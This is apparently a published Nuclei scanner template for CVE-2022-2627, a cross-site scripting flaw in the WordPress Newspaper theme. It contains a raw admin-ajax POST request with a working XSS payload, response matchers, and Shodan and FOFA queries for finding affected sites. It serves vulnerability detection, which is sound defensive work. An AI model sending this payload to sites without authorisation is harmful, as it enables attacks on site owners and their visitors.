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WordPress Newspaper < 12 - Cross-Site Scripting

ID: CVE-2022-2627

Severity: medium

Author: ramondunker,c4sper0

Tags: cve2022,cve,xss,wordpress,wp,wp-theme,newspaper,wpscan,tagdiv

Description

Section titled “Description”

WordPress Newspaper theme before 12 is susceptible to cross-site scripting. The does not sanitize a parameter before outputting it back in an HTML attribute via an AJAX action. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.

YAML Source

Section titled “YAML Source”
id: CVE-2022-2627


info:
  name: WordPress Newspaper < 12 - Cross-Site Scripting
  author: ramondunker,c4sper0
  severity: medium
  description: |
    WordPress Newspaper theme before 12 is susceptible to cross-site scripting. The does not sanitize a parameter before outputting it back in an HTML attribute via an AJAX action. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: Fixed in version 12
  reference:
    - https://wpscan.com/vulnerability/038327d0-568f-4011-9b7e-3da39e8b6aea
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2627
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-2627
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.43227
    cpe: cpe:2.3:a:tagdiv:newspaper:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: tagdiv
    product: newspaper
    framework: wordpress
    shodan-query: http.html:/wp-content/themes/newspaper
    fofa-query: body=/wp-content/themes/newspaper
    publicwww-query:
      - "/wp-content/themes/Newspaper"
      - /wp-content/themes/newspaper
  tags: cve2022,cve,xss,wordpress,wp,wp-theme,newspaper,wpscan,tagdiv


http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?td_theme_name=Newspaper&v=11.2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        action=td_ajax_loop&loopState[moduleId]={{xss_payload}}&loopState[server_reply_html_data]=


    payloads:
      xss_payload:
        - "--><form><math><img+onerror=alert(document.domain)+src=1><mtext></form>"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <form><math><img onerror=alert(document.domain) src=1><mtext>
          - td-block-
        condition: and


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 490a0046304402201dbe672e023f8178ba5d42b997958cc3ec3d8add08e619ed6cade7826746fcdb02200fcda1e756bbbf1df1fd2c2b1485521087f1354703d3a417e819f28528831106:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-2627.yaml"

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